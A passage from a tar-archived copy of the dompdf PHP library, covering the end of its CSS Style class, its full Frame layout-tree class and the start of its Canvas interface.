            [$l1, $l2] = \array_slice($dims, 2, 2);
        } else {
            // Custom paper size
            $l1 = $this->compute_length_positive($lengths[0]);
            $l2 = isset($lengths[1]) ? $this->compute_length_positive($lengths[1]) : $l1;

            if ($l1 === null || $l2 === null) {
                return null;
            }
        }

        if (($orientation === "portrait" && $l1 > $l2)
            || ($orientation === "landscape" && $l2 > $l1)
        ) {
            return [$l2, $l1];
        }

        return [$l1, $l2];
    }

    /**
     * @link https://www.w3.org/TR/css-transforms-1/#transform-property
     */
    protected function _compute_transform(string $val)
    {
        $val = strtolower($val);

        if ($val === "none") {
            return [];
        }

        $parts = $this->parse_property_value($val);
        $transforms = [];

        if ($parts === []) {
            return null;
        }

        foreach ($parts as $part) {
            if (!preg_match("/^([a-z]+)\((.+)\)$/s", $part, $matches)) {
                return null;
            }

            $name = $matches[1];
            $arguments = trim($matches[2]);
            $values = $this->parse_property_value($arguments);
            $values = array_values(array_filter($values, function ($v) {
                return $v !== ",";
            }));
            $count = \count($values);

            if ($count === 0) {
                return null;
            }

            switch ($name) {
                // case "matrix":
                //     if ($count !== 6) {
                //         return null;
                //     }

                //     $values = array_map([$this, "compute_number"], $values);
                //     break;

                // <length-percentage> units
                case "translate":
                    if ($count > 2) {
                        return null;
                    }

                    $values = [
                        $this->compute_length_percentage($values[0]),
                        isset($values[1]) ? $this->compute_length_percentage($values[1]) : 0.0
                    ];
                    break;

                case "translatex":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "translate";
                    $values = [$this->compute_length_percentage($values[0]), 0.0];
                    break;

                case "translatey":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "translate";
                    $values = [0.0, $this->compute_length_percentage($values[0])];
                    break;

                // <number> units
                case "scale":
                    if ($count > 2) {
                        return null;
                    }

                    $v0 = $this->compute_number($values[0]);
                    $v1 = isset($values[1]) ? $this->compute_number($values[1]) : $v0;
                    $values = [$v0, $v1];
                    break;

                case "scalex":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "scale";
                    $values = [$this->compute_number($values[0]), 1.0];
                    break;

                case "scaley":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "scale";
                    $values = [1.0, $this->compute_number($values[0])];
                    break;

                // <angle> units
                case "rotate":
                    if ($count > 1) {
                        return null;
                    }

                    $values = [$this->compute_angle_or_zero($values[0])];
                    break;

                case "skew":
                    if ($count > 2) {
                        return null;
                    }

                    $values = [
                        $this->compute_angle_or_zero($values[0]),
                        isset($values[1]) ? $this->compute_angle_or_zero($values[1]) : 0.0
                    ];
                    break;

                case "skewx":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "skew";
                    $values = [$this->compute_angle_or_zero($values[0]), 0.0];
                    break;

                case "skewy":
                    if ($count > 1) {
                        return null;
                    }

                    $name = "skew";
                    $values = [0.0, $this->compute_angle_or_zero($values[0])];
                    break;

                default:
                    return null;
            }

            foreach ($values as $v) {
                if ($v === null) {
                    return null;
                }
            }

            $transforms[] = [$name, $values];
        }

        return $transforms;
    }

    /**
     * @link https://www.w3.org/TR/css-transforms-1/#transform-origin-property
     */
    protected function _compute_transform_origin(string $val)
    {
        $val = strtolower($val);
        $parts = $this->parse_property_value($val);
        $count = \count($parts);

        if ($count === 0 || $count > 3) {
            return null;
        }

        $v1 = $parts[0];
        $v2 = $parts[1] ?? "center";
        [$x, $y] = $this->computeBackgroundPositionTransformOrigin($v1, $v2);
        $z = $count === 3 ? $this->compute_length($parts[2]) : 0.0;

        if ($x === null || $y === null || $z === null) {
            return null;
        }

        return [$x, $y, $z];
    }

    /**
     * @param string $val
     * @return string|null
     */
    protected function parse_image_resolution(string $val): ?string
    {
        // If exif data could be get:
        // $re = '/^\s*(\d+|normal|auto)(?:\s*,\s*(\d+|normal))?\s*$/';

        $val = strtolower($val);
        $re = '/^\s*(\d+|normal|auto)\s*$/';

        if (!preg_match($re, $val, $matches)) {
            return null;
        }

        return $matches[1];
    }

    /**
     * auto | normal | dpi
     */
    protected function _compute_background_image_resolution(string $val)
    {
        return $this->parse_image_resolution($val);
    }

    /**
     * auto | normal | dpi
     */
    protected function _compute_image_resolution(string $val)
    {
        return $this->parse_image_resolution($val);
    }

    /**
     * @link https://www.w3.org/TR/css-break-3/#propdef-orphans
     */
    protected function _compute_orphans(string $val)
    {
        return $this->compute_integer($val);
    }

    /**
     * @link https://www.w3.org/TR/css-break-3/#propdef-widows
     */
    protected function _compute_widows(string $val)
    {
        return $this->compute_integer($val);
    }

    /**
     * @link https://www.w3.org/TR/css-color-4/#propdef-opacity
     */
    protected function _compute_opacity(string $val)
    {
        $number = self::CSS_NUMBER;
        $pattern = "/^($number)(%?)$/";

        if (!preg_match($pattern, $val, $matches)) {
            return null;
        }

        $v = (float) $matches[1];
        $percent = $matches[2] === "%";
        $opacity = $percent ? ($v / 100) : $v;

        return max(0.0, min($opacity, 1.0));
    }

    /**
     * @link https://www.w3.org/TR/CSS21//visuren.html#propdef-z-index
     */
    protected function _compute_z_index(string $val)
    {
        $val = strtolower($val);

        if ($val === "auto") {
            return $val;
        }

        return $this->compute_integer($val);
    }

    /**
     * @param FontMetrics $fontMetrics
     * @return $this
     */
    public function setFontMetrics(FontMetrics $fontMetrics)
    {
        $this->fontMetrics = $fontMetrics;
        return $this;
    }

    /**
     * @return FontMetrics
     */
    public function getFontMetrics()
    {
        return $this->fontMetrics;
    }

    /**
     * Generate a string representation of the Style
     *
     * This dumps the entire property array into a string via print_r.  Useful
     * for debugging.
     *
     * @return string
     */
    /*DEBUGCSS print: see below additional debugging util*/
    public function __toString(): string
    {
        $parent_font_size = $this->parent_style
            ? $this->parent_style->font_size
            : self::$default_font_size;

        return print_r(array_merge(["parent_font_size" => $parent_font_size],
            $this->_props), true);
    }

    /*DEBUGCSS*/
    public function debug_print(): void
    {
        $parent_font_size = $this->parent_style
            ? $this->parent_style->font_size
            : self::$default_font_size;

        print "    parent_font_size:" . $parent_font_size . ";\n";
        print "    Props [\n";
        print "      specified [\n";
        foreach ($this->_props as $prop => $val) {
            print '        ' . $prop . ': ' . preg_replace("/\r\n/", ' ', print_r($val, true));
            if (isset($this->_important_props[$prop])) {
                print ' !important';
            }
            print ";\n";
        }
        print "      ]\n";
        print "      computed [\n";
        foreach ($this->_props_computed as $prop => $val) {
            print '        ' . $prop . ': ' . preg_replace("/\r\n/", ' ', print_r($val, true));
            print ";\n";
        }
        print "      ]\n";
        print "      cached [\n";
        foreach ($this->_props_used as $prop => $val) {
            print '        ' . $prop . ': ' . preg_replace("/\r\n/", ' ', print_r($val, true));
            print ";\n";
        }
        print "      ]\n";
        print "    ]\n";
    }
}
vendor/dompdf/dompdf/src/Frame.php000066600000075712151150443010013127 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use Dompdf\Css\Style;
use Dompdf\Frame\FrameListIterator;

/**
 * The main Frame class
 *
 * This class represents a single HTML element.  This class stores
 * positioning information as well as containing block location and
 * dimensions. Style information for the element is stored in a {@link
 * Style} object. Tree structure is maintained via the parent & children
 * links.
 *
 * @package dompdf
 */
class Frame
{
    const WS_TEXT = 1;
    const WS_SPACE = 2;

    /**
     * The DOMElement or DOMText object this frame represents
     *
     * @var \DOMElement|\DOMText
     */
    protected $_node;

    /**
     * Unique identifier for this frame.  Used to reference this frame
     * via the node.
     *
     * @var int
     */
    protected $_id;

    /**
     * Unique id counter
     *
     * @var int
     */
    public static $ID_COUNTER = 0; /*protected*/

    /**
     * This frame's calculated style
     *
     * @var Style
     */
    protected $_style;

    /**
     * This frame's parent in the document tree.
     *
     * @var Frame
     */
    protected $_parent;

    /**
     * This frame's first child.  All children are handled as a
     * doubly-linked list.
     *
     * @var Frame
     */
    protected $_first_child;

    /**
     * This frame's last child.
     *
     * @var Frame
     */
    protected $_last_child;

    /**
     * This frame's previous sibling in the document tree.
     *
     * @var Frame
     */
    protected $_prev_sibling;

    /**
     * This frame's next sibling in the document tree.
     *
     * @var Frame
     */
    protected $_next_sibling;

    /**
     * This frame's containing block (used in layout): array(x, y, w, h)
     *
     * @var float[]
     */
    protected $_containing_block;

    /**
     * Position on the page of the top-left corner of the margin box of
     * this frame: array(x,y)
     *
     * @var float[]
     */
    protected $_position;

    /**
     * Absolute opacity of this frame
     *
     * @var float
     */
    protected $_opacity;

    /**
     * This frame's decorator
     *
     * @var FrameDecorator\AbstractFrameDecorator
     */
    protected $_decorator;

    /**
     * This frame's containing line box
     *
     * @var LineBox|null
     */
    protected $_containing_line;

    /**
     * @var array
     */
    protected $_is_cache = [];

    /**
     * Tells whether the frame was already pushed to the next page
     *
     * @var bool
     */
    public $_already_pushed = false;

    /**
     * @var bool
     */
    public $_float_next_line = false;

    /**
     * @var int
     */
    public static $_ws_state = self::WS_SPACE;

    /**
     * Class constructor
     *
     * @param \DOMNode $node the DOMNode this frame represents
     */
    public function __construct(\DOMNode $node)
    {
        $this->_node = $node;

        $this->_parent = null;
        $this->_first_child = null;
        $this->_last_child = null;
        $this->_prev_sibling = $this->_next_sibling = null;

        $this->_style = null;

        $this->_containing_block = [
            "x" => null,
            "y" => null,
            "w" => null,
            "h" => null,
        ];

        $this->_containing_block[0] =& $this->_containing_block["x"];
        $this->_containing_block[1] =& $this->_containing_block["y"];
        $this->_containing_block[2] =& $this->_containing_block["w"];
        $this->_containing_block[3] =& $this->_containing_block["h"];

        $this->_position = [
            "x" => null,
            "y" => null,
        ];

        $this->_position[0] =& $this->_position["x"];
        $this->_position[1] =& $this->_position["y"];

        $this->_opacity = 1.0;
        $this->_decorator = null;

        $this->set_id(self::$ID_COUNTER++);
    }

    /**
     * WIP : preprocessing to remove all the unused whitespace
     */
    protected function ws_trim()
    {
        if ($this->ws_keep()) {
            return;
        }

        if (self::$_ws_state === self::WS_SPACE) {
            $node = $this->_node;

            if ($node->nodeName === "#text" && !empty($node->nodeValue)) {
                $node->nodeValue = preg_replace("/[ \t\r\n\f]+/u", " ", trim($node->nodeValue));
                self::$_ws_state = self::WS_TEXT;
            }
        }
    }

    /**
     * @return bool
     */
    protected function ws_keep()
    {
        $whitespace = $this->get_style()->white_space;

        return in_array($whitespace, ["pre", "pre-wrap", "pre-line"]);
    }

    /**
     * @return bool
     */
    protected function ws_is_text()
    {
        $node = $this->get_node();

        if ($node->nodeName === "img") {
            return true;
        }

        if (!$this->is_in_flow()) {
            return false;
        }

        if ($this->is_text_node()) {
            return trim($node->nodeValue) !== "";
        }

        return true;
    }

    /**
     * "Destructor": forcibly free all references held by this frame
     *
     * @param bool $recursive if true, call dispose on all children
     */
    public function dispose($recursive = false)
    {
        if ($recursive) {
            while ($child = $this->_first_child) {
                $child->dispose(true);
            }
        }

        // Remove this frame from the tree
        if ($this->_prev_sibling) {
            $this->_prev_sibling->_next_sibling = $this->_next_sibling;
        }

        if ($this->_next_sibling) {
            $this->_next_sibling->_prev_sibling = $this->_prev_sibling;
        }

        if ($this->_parent && $this->_parent->_first_child === $this) {
            $this->_parent->_first_child = $this->_next_sibling;
        }

        if ($this->_parent && $this->_parent->_last_child === $this) {
            $this->_parent->_last_child = $this->_prev_sibling;
        }

        if ($this->_parent) {
            $this->_parent->get_node()->removeChild($this->_node);
        }

        $this->_style = null;
        unset($this->_style);
    }

    /**
     * Re-initialize the frame
     */
    public function reset()
    {
        $this->_position["x"] = null;
        $this->_position["y"] = null;

        $this->_containing_block["x"] = null;
        $this->_containing_block["y"] = null;
        $this->_containing_block["w"] = null;
        $this->_containing_block["h"] = null;

        $this->_style->reset();
    }

    /**
     * @return \DOMElement|\DOMText
     */
    public function get_node()
    {
        return $this->_node;
    }

    /**
     * @return int
     */
    public function get_id()
    {
        return $this->_id;
    }

    /**
     * @return Style
     */
    public function get_style()
    {
        return $this->_style;
    }

    /**
     * @deprecated
     * @return Style
     */
    public function get_original_style()
    {
        return $this->_style;
    }

    /**
     * @return Frame
     */
    public function get_parent()
    {
        return $this->_parent;
    }

    /**
     * @return FrameDecorator\AbstractFrameDecorator
     */
    public function get_decorator()
    {
        return $this->_decorator;
    }

    /**
     * @return Frame
     */
    public function get_first_child()
    {
        return $this->_first_child;
    }

    /**
     * @return Frame
     */
    public function get_last_child()
    {
        return $this->_last_child;
    }

    /**
     * @return Frame
     */
    public function get_prev_sibling()
    {
        return $this->_prev_sibling;
    }

    /**
     * @return Frame
     */
    public function get_next_sibling()
    {
        return $this->_next_sibling;
    }

    /**
     * @return FrameListIterator
     */
    public function get_children(): FrameListIterator
    {
        return new FrameListIterator($this);
    }

    // Layout property accessors

    /**
     * Containing block dimensions
     *
     * @param string|null $i The key of the wanted containing block's dimension (x, y, w, h)
     *
     * @return float[]|float
     */
    public function get_containing_block($i = null)
    {
        if (isset($i)) {
            return $this->_containing_block[$i];
        }

        return $this->_containing_block;
    }

    /**
     * Block position
     *
     * @param string|null $i The key of the wanted position value (x, y)
     *
     * @return float[]|float
     */
    public function get_position($i = null)
    {
        if (isset($i)) {
            return $this->_position[$i];
        }

        return $this->_position;
    }

    //........................................................................

    /**
     * Return the width of the margin box of the frame, in pt.  Meaningless
     * unless the width has been calculated properly.
     *
     * @return float
     */
    public function get_margin_width(): float
    {
        $style = $this->_style;

        return (float)$style->length_in_pt([
            $style->width,
            $style->margin_left,
            $style->margin_right,
            $style->border_left_width,
            $style->border_right_width,
            $style->padding_left,
            $style->padding_right
        ], $this->_containing_block["w"]);
    }

    /**
     * Return the height of the margin box of the frame, in pt.  Meaningless
     * unless the height has been calculated properly.
     *
     * @return float
     */
    public function get_margin_height(): float
    {
        $style = $this->_style;

        return (float)$style->length_in_pt(
            [
                $style->height,
                (float)$style->length_in_pt(
                    [
                        $style->border_top_width,
                        $style->border_bottom_width,
                        $style->margin_top,
                        $style->margin_bottom,
                        $style->padding_top,
                        $style->padding_bottom
                    ], $this->_containing_block["w"]
                )
            ],
            $this->_containing_block["h"]
        );
    }

    /**
     * Return the content box (x,y,w,h) of the frame.
     *
     * Width and height might be reported as 0 if they have not been resolved
     * yet.
     *
     * @return float[]
     */
    public function get_content_box(): array
    {
        $style = $this->_style;
        $cb = $this->_containing_block;

        $x = $this->_position["x"] +
            (float)$style->length_in_pt(
                [
                    $style->margin_left,
                    $style->border_left_width,
                    $style->padding_left
                ],
                $cb["w"]
            );

        $y = $this->_position["y"] +
            (float)$style->length_in_pt(
                [
                    $style->margin_top,
                    $style->border_top_width,
                    $style->padding_top
                ], $cb["w"]
            );

        $w = (float)$style->length_in_pt($style->width, $cb["w"]);

        $h = (float)$style->length_in_pt($style->height, $cb["h"]);

        return [0 => $x, "x" => $x,
            1 => $y, "y" => $y,
            2 => $w, "w" => $w,
            3 => $h, "h" => $h];
    }

    /**
     * Return the padding box (x,y,w,h) of the frame.
     *
     * Width and height might be reported as 0 if they have not been resolved
     * yet.
     *
     * @return float[]
     */
    public function get_padding_box(): array
    {
        $style = $this->_style;
        $cb = $this->_containing_block;

        $x = $this->_position["x"] +
            (float)$style->length_in_pt(
                [
                    $style->margin_left,
                    $style->border_left_width
                ],
                $cb["w"]
            );

        $y = $this->_position["y"] +
            (float)$style->length_in_pt(
                [
                    $style->margin_top,
                    $style->border_top_width
                ],
                $cb["h"]
            );

        $w = (float)$style->length_in_pt(
                [
                    $style->padding_left,
                    $style->width,
                    $style->padding_right
                ],
                $cb["w"]
            );

        $h = (float)$style->length_in_pt(
                [
                    $style->padding_top,
                    $style->padding_bottom,
                    $style->length_in_pt($style->height, $cb["h"])
                ],
                $cb["w"]
            );

        return [0 => $x, "x" => $x,
            1 => $y, "y" => $y,
            2 => $w, "w" => $w,
            3 => $h, "h" => $h];
    }

    /**
     * Return the border box of the frame.
     *
     * Width and height might be reported as 0 if they have not been resolved
     * yet.
     *
     * @return float[]
     */
    public function get_border_box(): array
    {
        $style = $this->_style;
        $cb = $this->_containing_block;

        $x = $this->_position["x"] + (float)$style->length_in_pt($style->margin_left, $cb["w"]);

        $y = $this->_position["y"] + (float)$style->length_in_pt($style->margin_top, $cb["w"]);

        $w = (float)$style->length_in_pt(
            [
                $style->border_left_width,
                $style->padding_left,
                $style->width,
                $style->padding_right,
                $style->border_right_width
            ],
            $cb["w"]
        );

        $h = (float)$style->length_in_pt(
            [
                $style->border_top_width,
                $style->padding_top,
                $style->padding_bottom,
                $style->border_bottom_width,
                $style->length_in_pt($style->height, $cb["h"])
            ],
            $cb["w"]
        );

        return [0 => $x, "x" => $x,
            1 => $y, "y" => $y,
            2 => $w, "w" => $w,
            3 => $h, "h" => $h];
    }

    /**
     * @param float|null $opacity
     *
     * @return float
     */
    public function get_opacity(?float $opacity = null): float
    {
        if ($opacity !== null) {
            $this->set_opacity($opacity);
        }

        return $this->_opacity;
    }

    /**
     * @return LineBox|null
     */
    public function &get_containing_line()
    {
        return $this->_containing_line;
    }

    //........................................................................
    // Set methods

    /**
     * @param int $id
     */
    public function set_id($id)
    {
        $this->_id = $id;

        // We can only set attributes of DOMElement objects (nodeType == 1).
        // Since these are the only objects that we can assign CSS rules to,
        // this shortcoming is okay.
        if ($this->_node->nodeType == XML_ELEMENT_NODE) {
            $this->_node->setAttribute("frame_id", $id);
        }
    }

    /**
     * @param Style $style
     */
    public function set_style(Style $style): void
    {
        // $style->set_frame($this);
        $this->_style = $style;
    }

    /**
     * @param FrameDecorator\AbstractFrameDecorator $decorator
     */
    public function set_decorator(FrameDecorator\AbstractFrameDecorator $decorator)
    {
        $this->_decorator = $decorator;
    }

    /**
     * @param float|float[]|null $x
     * @param float|null $y
     * @param float|null $w
     * @param float|null $h
     */
    public function set_containing_block($x = null, $y = null, $w = null, $h = null)
    {
        if (is_array($x)) {
            foreach ($x as $key => $val) {
                $$key = $val;
            }
        }

        if (is_numeric($x)) {
            $this->_containing_block["x"] = $x;
        }

        if (is_numeric($y)) {
            $this->_containing_block["y"] = $y;
        }

        if (is_numeric($w)) {
            $this->_containing_block["w"] = $w;
        }

        if (is_numeric($h)) {
            $this->_containing_block["h"] = $h;
        }
    }

    /**
     * @param float|float[]|null $x
     * @param float|null $y
     */
    public function set_position($x = null, $y = null)
    {
        if (is_array($x)) {
            list($x, $y) = [$x["x"], $x["y"]];
        }

        if (is_numeric($x)) {
            $this->_position["x"] = $x;
        }

        if (is_numeric($y)) {
            $this->_position["y"] = $y;
        }
    }

    /**
     * @param float $opacity
     */
    public function set_opacity(float $opacity): void
    {
        $parent = $this->get_parent();
        $base_opacity = $parent && $parent->_opacity !== null ? $parent->_opacity : 1.0;
        $this->_opacity = $base_opacity * $opacity;
    }

    /**
     * @param LineBox $line
     */
    public function set_containing_line(LineBox $line)
    {
        $this->_containing_line = $line;
    }

    /**
     * Indicates if the margin height is auto sized
     *
     * @return bool
     */
    public function is_auto_height()
    {
        $style = $this->_style;

        return in_array(
            "auto",
            [
                $style->height,
                $style->margin_top,
                $style->margin_bottom,
                $style->border_top_width,
                $style->border_bottom_width,
                $style->padding_top,
                $style->padding_bottom,
                $this->_containing_block["h"]
            ],
            true
        );
    }

    /**
     * Indicates if the margin width is auto sized
     *
     * @return bool
     */
    public function is_auto_width()
    {
        $style = $this->_style;

        return in_array(
            "auto",
            [
                $style->width,
                $style->margin_left,
                $style->margin_right,
                $style->border_left_width,
                $style->border_right_width,
                $style->padding_left,
                $style->padding_right,
                $this->_containing_block["w"]
            ],
            true
        );
    }

    /**
     * Tells if the frame is a text node
     *
     * @return bool
     */
    public function is_text_node(): bool
    {
        if (isset($this->_is_cache["text_node"])) {
            return $this->_is_cache["text_node"];
        }

        return $this->_is_cache["text_node"] = ($this->get_node()->nodeName === "#text");
    }

    /**
     * @return bool
     */
    public function is_positioned(): bool
    {
        if (isset($this->_is_cache["positioned"])) {
            return $this->_is_cache["positioned"];
        }

        $position = $this->get_style()->position;

        return $this->_is_cache["positioned"] = in_array($position, Style::POSITIONED_TYPES, true);
    }

    /**
     * @return bool
     */
    public function is_absolute(): bool
    {
        if (isset($this->_is_cache["absolute"])) {
            return $this->_is_cache["absolute"];
        }

        return $this->_is_cache["absolute"] = $this->get_style()->is_absolute();
    }

    /**
     * Whether the frame is a block container.
     *
     * @return bool
     */
    public function is_block(): bool
    {
        if (isset($this->_is_cache["block"])) {
            return $this->_is_cache["block"];
        }

        return $this->_is_cache["block"] = in_array($this->get_style()->display, Style::BLOCK_TYPES, true);
    }

    /**
     * Whether the frame has a block-level display type.
     *
     * @return bool
     */
    public function is_block_level(): bool
    {
        if (isset($this->_is_cache["block_level"])) {
            return $this->_is_cache["block_level"];
        }

        $display = $this->get_style()->display;

        return $this->_is_cache["block_level"] = in_array($display, Style::BLOCK_LEVEL_TYPES, true);
    }

    /**
     * Whether the frame has an inline-level display type.
     *
     * @return bool
     */
    public function is_inline_level(): bool
    {
        if (isset($this->_is_cache["inline_level"])) {
            return $this->_is_cache["inline_level"];
        }

        $display = $this->get_style()->display;

        return $this->_is_cache["inline_level"] = in_array($display, Style::INLINE_LEVEL_TYPES, true);
    }

    /**
     * @return bool
     */
    public function is_in_flow(): bool
    {
        if (isset($this->_is_cache["in_flow"])) {
            return $this->_is_cache["in_flow"];
        }

        return $this->_is_cache["in_flow"] = $this->get_style()->is_in_flow();
    }

    /**
     * @return bool
     */
    public function is_pre(): bool
    {
        if (isset($this->_is_cache["pre"])) {
            return $this->_is_cache["pre"];
        }

        $white_space = $this->get_style()->white_space;

        return $this->_is_cache["pre"] = in_array($white_space, ["pre", "pre-wrap"], true);
    }

    /**
     * @return bool
     */
    public function is_table(): bool
    {
        if (isset($this->_is_cache["table"])) {
            return $this->_is_cache["table"];
        }

        $display = $this->get_style()->display;

        return $this->_is_cache["table"] = in_array($display, Style::TABLE_TYPES, true);
    }


    /**
     * Inserts a new child at the beginning of the Frame
     *
     * @param Frame $child       The new Frame to insert
     * @param bool  $update_node Whether or not to update the DOM
     */
    public function prepend_child(Frame $child, $update_node = true)
    {
        if ($update_node) {
            $this->_node->insertBefore($child->_node, $this->_first_child ? $this->_first_child->_node : null);
        }

        // Remove the child from its parent
        if ($child->_parent) {
            $child->_parent->remove_child($child, false);
        }

        $child->_parent = $this;
        $decorator = $child->get_decorator();
        // force an update to the cached parent
        if ($decorator !== null) {
            $decorator->get_parent(false);
        }
        $child->_prev_sibling = null;

        // Handle the first child
        if (!$this->_first_child) {
            $this->_first_child = $child;
            $this->_last_child = $child;
            $child->_next_sibling = null;
        } else {
            $this->_first_child->_prev_sibling = $child;
            $child->_next_sibling = $this->_first_child;
            $this->_first_child = $child;
        }
    }

    /**
     * Inserts a new child at the end of the Frame
     *
     * @param Frame $child       The new Frame to insert
     * @param bool  $update_node Whether or not to update the DOM
     */
    public function append_child(Frame $child, $update_node = true)
    {
        if ($update_node) {
            $this->_node->appendChild($child->_node);
        }

        // Remove the child from its parent
        if ($child->_parent) {
            $child->_parent->remove_child($child, false);
        }

        $child->_parent = $this;
        $decorator = $child->get_decorator();
        // force an update to the cached parent
        if ($decorator !== null) {
            $decorator->get_parent(false);
        }
        $child->_next_sibling = null;

        // Handle the first child
        if (!$this->_last_child) {
            $this->_first_child = $child;
            $this->_last_child = $child;
            $child->_prev_sibling = null;
        } else {
            $this->_last_child->_next_sibling = $child;
            $child->_prev_sibling = $this->_last_child;
            $this->_last_child = $child;
        }
    }

    /**
     * Inserts a new child immediately before the specified frame
     *
     * @param Frame $new_child   The new Frame to insert
     * @param Frame $ref         The Frame after the new Frame
     * @param bool  $update_node Whether or not to update the DOM
     *
     * @throws Exception
     */
    public function insert_child_before(Frame $new_child, Frame $ref, $update_node = true)
    {
        if ($ref === $this->_first_child) {
            $this->prepend_child($new_child, $update_node);

            return;
        }

        if (is_null($ref)) {
            $this->append_child($new_child, $update_node);

            return;
        }

        if ($ref->_parent !== $this) {
            throw new Exception("Reference child is not a child of this node.");
        }

        // Update the node
        if ($update_node) {
            $this->_node->insertBefore($new_child->_node, $ref->_node);
        }

        // Remove the child from its parent
        if ($new_child->_parent) {
            $new_child->_parent->remove_child($new_child, false);
        }

        $new_child->_parent = $this;
        $decorator = $new_child->get_decorator();
        // force an update to the cached parent
        if ($decorator !== null) {
            $decorator->get_parent(false);
        }
        $new_child->_next_sibling = $ref;
        $new_child->_prev_sibling = $ref->_prev_sibling;

        if ($ref->_prev_sibling) {
            $ref->_prev_sibling->_next_sibling = $new_child;
        }

        $ref->_prev_sibling = $new_child;
    }

    /**
     * Inserts a new child immediately after the specified frame
     *
     * @param Frame $new_child   The new Frame to insert
     * @param Frame $ref         The Frame before the new Frame
     * @param bool  $update_node Whether or not to update the DOM
     *
     * @throws Exception
     */
    public function insert_child_after(Frame $new_child, Frame $ref, $update_node = true)
    {
        if ($ref === $this->_last_child) {
            $this->append_child($new_child, $update_node);

            return;
        }

        if (is_null($ref)) {
            $this->prepend_child($new_child, $update_node);

            return;
        }

        if ($ref->_parent !== $this) {
            throw new Exception("Reference child is not a child of this node.");
        }

        // Update the node
        if ($update_node) {
            if ($ref->_next_sibling) {
                $next_node = $ref->_next_sibling->_node;
                $this->_node->insertBefore($new_child->_node, $next_node);
            } else {
                $new_child->_node = $this->_node->appendChild($new_child->_node);
            }
        }

        // Remove the child from its parent
        if ($new_child->_parent) {
            $new_child->_parent->remove_child($new_child, false);
        }

        $new_child->_parent = $this;
        $decorator = $new_child->get_decorator();
        // force an update to the cached parent
        if ($decorator !== null) {
            $decorator->get_parent(false);
        }
        $new_child->_prev_sibling = $ref;
        $new_child->_next_sibling = $ref->_next_sibling;

        if ($ref->_next_sibling) {
            $ref->_next_sibling->_prev_sibling = $new_child;
        }

        $ref->_next_sibling = $new_child;
    }

    /**
     * Remove a child frame
     *
     * @param Frame $child
     * @param bool  $update_node Whether or not to remove the DOM node
     *
     * @throws Exception
     * @return Frame The removed child frame
     */
    public function remove_child(Frame $child, $update_node = true)
    {
        if ($child->_parent !== $this) {
            throw new Exception("Child not found in this frame");
        }

        if ($update_node) {
            $this->_node->removeChild($child->_node);
        }

        if ($child === $this->_first_child) {
            $this->_first_child = $child->_next_sibling;
        }

        if ($child === $this->_last_child) {
            $this->_last_child = $child->_prev_sibling;
        }

        if ($child->_prev_sibling) {
            $child->_prev_sibling->_next_sibling = $child->_next_sibling;
        }

        if ($child->_next_sibling) {
            $child->_next_sibling->_prev_sibling = $child->_prev_sibling;
        }

        $child->_next_sibling = null;
        $child->_prev_sibling = null;
        $child->_parent = null;

        // Force an update to the cached decorator parent
        $decorator = $child->get_decorator();
        if ($decorator !== null) {
            $decorator->get_parent(false);
        }

        return $child;
    }

    //........................................................................

    // Debugging function:
    /**
     * @return string
     */
    public function __toString()
    {
        // Skip empty text frames
//     if ( $this->is_text_node() &&
//          preg_replace("/\s/", "", $this->_node->data) === "" )
//       return "";


        $str = "<b>" . $this->_node->nodeName . ":</b><br/>";
        //$str .= spl_object_hash($this->_node) . "<br/>";
        $str .= "Id: " . $this->get_id() . "<br/>";
        $str .= "Class: " . get_class($this) . "<br/>";

        if ($this->is_text_node()) {
            $tmp = htmlspecialchars($this->_node->nodeValue);
            $str .= "<pre>'" . mb_substr($tmp, 0, 70) .
                (mb_strlen($tmp) > 70 ? "..." : "") . "'</pre>";
        } elseif ($css_class = $this->_node->getAttribute("class")) {
            $str .= "CSS class: '$css_class'<br/>";
        }

        if ($this->_parent) {
            $str .= "\nParent:" . $this->_parent->_node->nodeName .
                " (" . spl_object_hash($this->_parent->_node) . ") " .
                "<br/>";
        }

        if ($this->_prev_sibling) {
            $str .= "Prev: " . $this->_prev_sibling->_node->nodeName .
                " (" . spl_object_hash($this->_prev_sibling->_node) . ") " .
                "<br/>";
        }

        if ($this->_next_sibling) {
            $str .= "Next: " . $this->_next_sibling->_node->nodeName .
                " (" . spl_object_hash($this->_next_sibling->_node) . ") " .
                "<br/>";
        }

        $d = $this->get_decorator();
        while ($d && $d != $d->get_decorator()) {
            $str .= "Decorator: " . get_class($d) . "<br/>";
            $d = $d->get_decorator();
        }

        $str .= "Position: " . Helpers::pre_r($this->_position, true);
        $str .= "\nContaining block: " . Helpers::pre_r($this->_containing_block, true);
        $str .= "\nMargin width: " . Helpers::pre_r($this->get_margin_width(), true);
        $str .= "\nMargin height: " . Helpers::pre_r($this->get_margin_height(), true);

        $str .= "\nStyle: <pre>" . $this->_style->__toString() . "</pre>";

        if ($this->_decorator instanceof FrameDecorator\Block) {
            $str .= "Lines:<pre>";
            foreach ($this->_decorator->get_line_boxes() as $line) {
                foreach ($line->get_frames() as $frame) {
                    if ($frame instanceof FrameDecorator\Text) {
                        $str .= "\ntext: ";
                        $str .= "'" . htmlspecialchars($frame->get_text()) . "'";
                    } else {
                        $str .= "\nBlock: " . $frame->get_node()->nodeName . " (" . spl_object_hash($frame->get_node()) . ")";
                    }
                }

                $str .=
                    "\ny => " . $line->y . "\n" .
                    "w => " . $line->w . "\n" .
                    "h => " . $line->h . "\n" .
                    "left => " . $line->left . "\n" .
                    "right => " . $line->right . "\n";
            }
            $str .= "</pre>";
        }

        $str .= "\n";
        if (php_sapi_name() === "cli") {
            $str = strip_tags(str_replace(["<br/>", "<b>", "</b>"],
                ["\n", "", ""],
                $str));
        }

        return $str;
    }
}
vendor/dompdf/dompdf/src/Canvas.php000066600000035017151150443010013302 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

/**
 * Main rendering interface
 *
 * Currently {@link Dompdf\Adapter\CPDF}, {@link Dompdf\Adapter\PDFLib}, and {@link Dompdf\Adapter\GD}
 * implement this interface.
 *
 * Implementations should measure x and y increasing to the left and down,
 * respectively, with the origin in the top left corner.  Implementations
 * are free to use a unit other than points for length, but I can't
 * guarantee that the results will look any good.
 *
 * @package dompdf
